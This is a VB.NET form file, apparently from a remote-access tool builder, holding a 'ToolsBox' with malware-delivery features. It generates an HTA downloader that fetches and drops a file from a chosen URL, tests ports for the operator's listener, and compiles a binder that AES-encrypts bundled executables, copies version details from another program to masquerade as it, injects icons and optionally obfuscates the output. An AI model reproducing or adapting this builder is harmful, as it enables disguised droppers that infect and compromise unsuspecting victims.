534 lines
21 KiB
VB.net
534 lines
21 KiB
VB.net
Imports System.CodeDom.Compiler
|
|
Imports System.IO
|
|
Imports System.Security.Cryptography
|
|
Imports System.Text
|
|
|
|
Public Class ToolsBox
|
|
|
|
Public Sub New()
|
|
InitializeComponent()
|
|
Opacity = 0
|
|
FadeIn(Me, 20)
|
|
End Sub
|
|
|
|
Public Shared validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
|
|
Public Shared rand As New Random()
|
|
Public Shared Resources_Parent = Randomi(rand.Next(3, 16))
|
|
Public Shared assmb As String
|
|
Public Shared iconpath As String
|
|
Public Shared key As String
|
|
Private Shared SPL As String = "-=>"
|
|
|
|
Private Sub ToolsBox_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
|
|
Guna2ComboBox1.SelectedIndex = 0
|
|
Guna2ComboBox2.SelectedIndex = 1
|
|
|
|
Guna2TextBox4.CheckForIllegalCrossThreadCalls = False
|
|
Guna2TextBox3.Text = SettingsHelper.Port
|
|
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
Try
|
|
Dim stb As String = My.Resources.HTA
|
|
|
|
stb = stb.Replace("%URL%", Guna2TextBox1.Text)
|
|
stb = stb.Replace("%Filename%", Guna2TextBox2.Text)
|
|
stb = stb.Replace("%Path%", Guna2ComboBox1.Text)
|
|
|
|
SaveFileDialog1.Filter = "(*.hta)|*.hta"
|
|
SaveFileDialog1.FileName = "Downloader"
|
|
If SaveFileDialog1.ShowDialog = Windows.Forms.DialogResult.OK _
|
|
Then
|
|
Dim objWriter As New System.IO.StreamWriter(SaveFileDialog1.FileName, False)
|
|
objWriter.WriteLine(stb)
|
|
objWriter.Close()
|
|
MessageBox.Show(SaveFileDialog1.FileName, "DONE!")
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
|
Try
|
|
|
|
Guna2TextBox4.ForeColor = Color.Black
|
|
Guna2TextBox4.Text = ("Wait..")
|
|
Guna2GradientButton2.Enabled = False
|
|
|
|
PortCheck(Convert.ToInt32(Guna2TextBox3.Text))
|
|
|
|
Catch ex As Exception
|
|
Guna2GradientButton2.Enabled = True
|
|
Guna2TextBox4.ForeColor = Color.Red
|
|
Guna2TextBox4.Text = ex.Message
|
|
End Try
|
|
End Sub
|
|
|
|
|
|
Public Function GetExternalAddress() As String
|
|
Try
|
|
If SettingsHelper.IP = String.Empty Then
|
|
Dim web As New System.Net.WebClient
|
|
Dim address As String = web.DownloadString("http://ip-api.com/csv/?fields=status,query")
|
|
SettingsHelper.IP = address.Replace(ChrW(10), "").Split(",")(1)
|
|
Return SettingsHelper.IP
|
|
Else
|
|
Return SettingsHelper.IP
|
|
End If
|
|
Catch ex As Exception
|
|
Return "127.0.0.1"
|
|
End Try
|
|
End Function
|
|
|
|
Dim Sockets As New Net.Sockets.TcpClient
|
|
Public Async Sub PortCheck(ByVal Port As Integer)
|
|
|
|
Try
|
|
Await Task.Run(Sub()
|
|
Try
|
|
|
|
If GetExternalAddress() = "127.0.0.1" Then
|
|
Guna2TextBox4.ForeColor = Color.Green
|
|
Guna2TextBox4.Text = ("Success: I can see your service on " & "127.0.0.1" & " on port " & Port)
|
|
|
|
If SettingsHelper.NOTEF = True Then
|
|
Main.NotifyIcon1.BalloonTipText = "Accepted " & "127.0.0.1" & ":" & Port
|
|
Main.NotifyIcon1.ShowBalloonTip(100)
|
|
End If
|
|
|
|
Else
|
|
Sockets = New Net.Sockets.TcpClient
|
|
Sockets.Connect(SettingsHelper.IP, Port)
|
|
|
|
Guna2TextBox4.ForeColor = Color.Green
|
|
Guna2TextBox4.Text = ("Success: I can see your service on " & SettingsHelper.IP & " on port " & Port)
|
|
|
|
If SettingsHelper.NOTEF = True Then
|
|
Main.NotifyIcon1.BalloonTipText = "Accepted " & SettingsHelper.IP & ":" & Port
|
|
Main.NotifyIcon1.ShowBalloonTip(100)
|
|
End If
|
|
|
|
Sockets?.Close()
|
|
Sockets = Nothing
|
|
End If
|
|
Catch ex As Net.Sockets.SocketException
|
|
|
|
Guna2TextBox4.ForeColor = Color.Red
|
|
Guna2TextBox4.Text = ("Error: I could not see your service on " & SettingsHelper.IP & " on port " & Port)
|
|
|
|
If SettingsHelper.NOTEF = True Then
|
|
Main.NotifyIcon1.BalloonTipText = "Refused " & SettingsHelper.IP & ":" & Port
|
|
Main.NotifyIcon1.ShowBalloonTip(100)
|
|
End If
|
|
|
|
Sockets?.Close()
|
|
Sockets = Nothing
|
|
End Try
|
|
|
|
End Sub)
|
|
Catch ex As Exception
|
|
Guna2TextBox4.ForeColor = Color.Red
|
|
Guna2TextBox4.Text = ex.Message
|
|
End Try
|
|
Guna2GradientButton2.Enabled = True
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
|
Dim OfD As New OpenFileDialog
|
|
With OfD
|
|
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
|
.InitialDirectory = Application.StartupPath & "\Icons"
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
|
If OfD.FileName.EndsWith(".exe") Then
|
|
Guna2TextBox6.Text = GetIcon(OfD.FileName)
|
|
PictureBox2.ImageLocation = (Guna2TextBox6.Text)
|
|
GC.Collect()
|
|
Else
|
|
Guna2TextBox6.Text = OfD.FileName
|
|
PictureBox2.ImageLocation = (Guna2TextBox6.Text)
|
|
End If
|
|
Else
|
|
Guna2TextBox6.Text = "..."
|
|
PictureBox2.Image = Nothing
|
|
End If
|
|
End With
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
|
|
Try
|
|
If Guna2TextBox6.Text = Nothing Or Guna2TextBox5.Text = Nothing Or Guna2TextBox6.Text = "..." Or Guna2TextBox5.Text = "..." Then
|
|
Else
|
|
IconInjector.InjectIcon(Guna2TextBox5.Text, Guna2TextBox6.Text)
|
|
MessageBox.Show(Guna2TextBox5.Text, "DONE!")
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
|
Dim OfD As New OpenFileDialog
|
|
With OfD
|
|
.Filter = "(*.exe|*.exe"
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
|
Guna2TextBox5.Text = OfD.FileName
|
|
Else
|
|
Guna2TextBox5.Text = "..."
|
|
End If
|
|
End With
|
|
End Sub
|
|
|
|
Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click
|
|
Dim OfD As New OpenFileDialog
|
|
With OfD
|
|
.Filter = "(*.*|*.*"
|
|
.Multiselect = True
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
|
For Each F In OfD.FileNames
|
|
Try
|
|
Dim ico As Icon = Icon.ExtractAssociatedIcon(F)
|
|
If ico IsNot Nothing Then
|
|
ImageList2.Images.Add(ico)
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
Dim L = L1.Items.Add(F, ImageList2.Images.Count - 1)
|
|
L.SubItems.Add(GetFileSize(F))
|
|
L.SubItems.Add("True")
|
|
L.SubItems.Add("False")
|
|
Next
|
|
GC.Collect()
|
|
End If
|
|
End With
|
|
L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End Sub
|
|
|
|
Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click
|
|
Try
|
|
For Each lstdata As ListViewItem In L1.SelectedItems
|
|
L1.Items.RemoveAt(lstdata.Index)
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
|
|
L1.Items.Clear()
|
|
End Sub
|
|
|
|
Public Shared Function GetFileSize(ByVal TheFile As String) As String
|
|
If TheFile.Length = 0 Then Return ""
|
|
If Not System.IO.File.Exists(TheFile) Then Return ""
|
|
Dim TheSize As ULong = My.Computer.FileSystem.GetFileInfo(TheFile).Length
|
|
Return BytesToString(TheSize)
|
|
End Function
|
|
|
|
Public Shared Function Randomi(ByVal lenght As Integer) As String
|
|
Dim Chr As String = "asdfghjklqwertyuiopmnbvcxz"
|
|
Dim sb As New System.Text.StringBuilder()
|
|
For i As Integer = 1 To lenght
|
|
Dim idx As Integer = rand.Next(0, Chr.Length)
|
|
sb.Append(Chr.Substring(idx, 1))
|
|
Next
|
|
Return sb.ToString
|
|
End Function
|
|
|
|
Private Sub L1_DragDrop(sender As Object, e As DragEventArgs) Handles L1.DragDrop
|
|
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
|
For Each path In files
|
|
If IO.File.Exists(path) Then
|
|
|
|
Try
|
|
Dim ico As Icon = Icon.ExtractAssociatedIcon(path)
|
|
If ico IsNot Nothing Then
|
|
ImageList2.Images.Add(ico)
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
Dim L = L1.Items.Add(path, ImageList2.Images.Count - 1)
|
|
|
|
L.SubItems.Add(GetFileSize(path))
|
|
L.SubItems.Add("True")
|
|
L.SubItems.Add("False")
|
|
|
|
End If
|
|
|
|
Next
|
|
GC.Collect()
|
|
L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End Sub
|
|
|
|
Private Sub L1_DragEnter(sender As Object, e As DragEventArgs) Handles L1.DragEnter
|
|
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
|
e.Effect = DragDropEffects.Copy
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub TrueToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TrueToolStripMenuItem.Click
|
|
Try
|
|
For Each lstdata As ListViewItem In L1.SelectedItems
|
|
lstdata.SubItems(2).Text() = "True"
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub FalseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FalseToolStripMenuItem.Click
|
|
Try
|
|
For Each lstdata As ListViewItem In L1.SelectedItems
|
|
lstdata.SubItems(2).Text() = "False"
|
|
lstdata.SubItems(3).Text = "False"
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub TrueToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles TrueToolStripMenuItem1.Click
|
|
Try
|
|
For Each lstdata As ListViewItem In L1.SelectedItems
|
|
If lstdata.SubItems(2).Text() = "True" Then
|
|
lstdata.SubItems(3).Text() = "True"
|
|
End If
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub FalseToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles FalseToolStripMenuItem1.Click
|
|
Try
|
|
For Each lstdata As ListViewItem In L1.SelectedItems
|
|
lstdata.SubItems(3).Text = "False"
|
|
Next
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
|
If L1.Items.Count > 0 Then
|
|
Try
|
|
|
|
Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
|
|
.Filter = ".exe (*.exe)|*.exe",
|
|
.OverwritePrompt = False,
|
|
.FileName = "Output"
|
|
}
|
|
|
|
If saveFileDialog.ShowDialog() = DialogResult.OK Then
|
|
Dim sb As New StringBuilder()
|
|
Dim rand As New Random()
|
|
For i As Integer = 1 To 17
|
|
Dim idx As Integer = rand.Next(0, validchars.Length)
|
|
Dim randomChar As Char = validchars(idx)
|
|
sb.Append(randomChar)
|
|
Next i
|
|
key = sb.ToString()
|
|
Compiler(saveFileDialog.FileName, Resources_Parent)
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End If
|
|
End Sub
|
|
|
|
Public Sub Compiler(ByVal Path As String, ByVal Res As String)
|
|
|
|
Try
|
|
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
|
|
providerOptions.Add("CompilerVersion", "v4.0")
|
|
Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
|
|
Dim Parameters As New CompilerParameters
|
|
Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
|
|
|
|
|
|
|
|
With Parameters
|
|
.GenerateExecutable = True
|
|
.OutputAssembly = Path
|
|
.CompilerOptions = OP
|
|
.IncludeDebugInformation = False
|
|
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
|
.ReferencedAssemblies.Add("system.dll")
|
|
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
|
|
|
|
Dim Source = My.Resources.Binder
|
|
|
|
Source = Source.Replace("#ParentRes", Resources_Parent)
|
|
Source = Source.Replace("%Path%", Guna2ComboBox2.Text)
|
|
Source = Source.Replace("%Mutex%", key)
|
|
Source = Source.Replace("%SPL%", SPL)
|
|
|
|
If Guna2CheckBox1.Checked Then
|
|
Dim info As FileVersionInfo = FileVersionInfo.GetVersionInfo(assmb)
|
|
|
|
|
|
Source = Replace(Source, "%Title%", info.FileDescription)
|
|
Source = Replace(Source, "%Des%", info.Comments)
|
|
Source = Replace(Source, "%Company%", info.CompanyName)
|
|
Source = Replace(Source, "%Product%", info.ProductName)
|
|
Source = Replace(Source, "%Copyright%", info.LegalCopyright)
|
|
Source = Replace(Source, "%Trademark%", info.LegalTrademarks)
|
|
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
|
|
|
|
|
Source = Source.Replace("%v1%", info.FileMajorPart.ToString())
|
|
Source = Source.Replace("%v2%", info.FileMinorPart.ToString())
|
|
Source = Source.Replace("%v3%", info.FileBuildPart.ToString())
|
|
Source = Source.Replace("%v4%", info.FilePrivatePart.ToString())
|
|
Else
|
|
Source = Replace(Source, "%Title%", Nothing)
|
|
Source = Replace(Source, "%Des%", Nothing)
|
|
Source = Replace(Source, "%Company%", Nothing)
|
|
Source = Replace(Source, "%Product%", Nothing)
|
|
Source = Replace(Source, "%Copyright%", Nothing)
|
|
Source = Replace(Source, "%Trademark%", Nothing)
|
|
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
|
|
|
|
|
Source = Source.Replace("%v1%", 1)
|
|
Source = Source.Replace("%v2%", 0)
|
|
Source = Source.Replace("%v3%", 0)
|
|
Source = Source.Replace("%v4%", 0)
|
|
End If
|
|
|
|
Dim alist As String = Nothing
|
|
Using R As New Resources.ResourceWriter(IO.Path.GetTempPath & "\" & Res & ".Resources")
|
|
For Each item As ListViewItem In L1.Items
|
|
Dim ran As String = Nothing
|
|
Dim xpath As String = item.SubItems(0).Text
|
|
Dim runn As String = item.SubItems(2).Text
|
|
Dim runnonce As String = item.SubItems(3).Text
|
|
ran = IO.Path.GetFileName(xpath)
|
|
R.AddResource(ran, AES_Encryptor(IO.File.ReadAllBytes(xpath)))
|
|
alist &= """" & ran & SPL & runn & SPL & runnonce & """" & ","
|
|
Next
|
|
|
|
|
|
R.Generate()
|
|
Source = Source.Replace("""%list%""", alist.Trim.TrimEnd(","))
|
|
|
|
End Using
|
|
|
|
.EmbeddedResources.Add(IO.Path.GetTempPath & "\" & Resources_Parent & ".Resources")
|
|
|
|
|
|
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Source)
|
|
If Results.Errors.Count > 0 Then
|
|
For Each E In Results.Errors
|
|
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
|
|
Next
|
|
|
|
End If
|
|
|
|
End With
|
|
|
|
|
|
Dim ResFile As String = IO.Path.GetTempPath & "\" & Res & ".Resources"
|
|
If IO.File.Exists(ResFile) Then
|
|
IO.File.Delete(ResFile)
|
|
End If
|
|
|
|
If Guna2CheckBox2.Checked Then
|
|
IconInjector.InjectIcon(Path, iconpath)
|
|
End If
|
|
|
|
If Guna2CheckBox3.Checked = True Then
|
|
Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
|
|
End If
|
|
|
|
GC.Collect()
|
|
|
|
Dim myFile As New FileInfo(Path)
|
|
MessageBox.Show(Path, "DONE!" & " : " & BytesToString(myFile.Length))
|
|
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
Private Shared Function AES_Encryptor(ByVal input As Byte()) As Byte()
|
|
Dim AES As New RijndaelManaged
|
|
Dim Hash As New MD5CryptoServiceProvider
|
|
Try
|
|
AES.Key = Hash.ComputeHash(System.Text.Encoding.UTF8.GetBytes(key))
|
|
AES.Mode = CipherMode.ECB
|
|
Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
|
|
Dim Buffer As Byte() = input
|
|
Return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Function
|
|
|
|
Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged
|
|
If Guna2CheckBox2.Checked Then
|
|
Dim OfD As New OpenFileDialog
|
|
With OfD
|
|
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
|
.InitialDirectory = Application.StartupPath & "\Icons"
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
|
If OfD.FileName.EndsWith(".exe") Then
|
|
iconpath = GetIcon(OfD.FileName)
|
|
PictureBox3.ImageLocation = (iconpath)
|
|
Else
|
|
iconpath = OfD.FileName
|
|
PictureBox3.ImageLocation = (iconpath)
|
|
End If
|
|
|
|
Else
|
|
iconpath = Nothing
|
|
PictureBox3.Image = Nothing
|
|
Guna2CheckBox2.Checked = False
|
|
End If
|
|
|
|
End With
|
|
End If
|
|
If Guna2CheckBox2.Checked = False Then
|
|
iconpath = Nothing
|
|
PictureBox3.Image = Nothing
|
|
Guna2CheckBox2.Checked = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged
|
|
If Guna2CheckBox1.Checked = True Then
|
|
Dim OfD As New OpenFileDialog
|
|
With OfD
|
|
.Filter = "(*.exe|*.exe"
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
|
assmb = OfD.FileName
|
|
Else
|
|
assmb = Nothing
|
|
Guna2CheckBox1.Checked = False
|
|
End If
|
|
End With
|
|
End If
|
|
If Guna2CheckBox1.Checked = False Then
|
|
assmb = Nothing
|
|
Guna2CheckBox1.Checked = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub L1_KeyDown(sender As Object, e As KeyEventArgs) Handles L1.KeyDown
|
|
Try
|
|
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
|
If L1.Items.Count > 0 Then
|
|
For Each x As ListViewItem In L1.Items
|
|
x.Selected = True
|
|
Next
|
|
End If
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
End Class |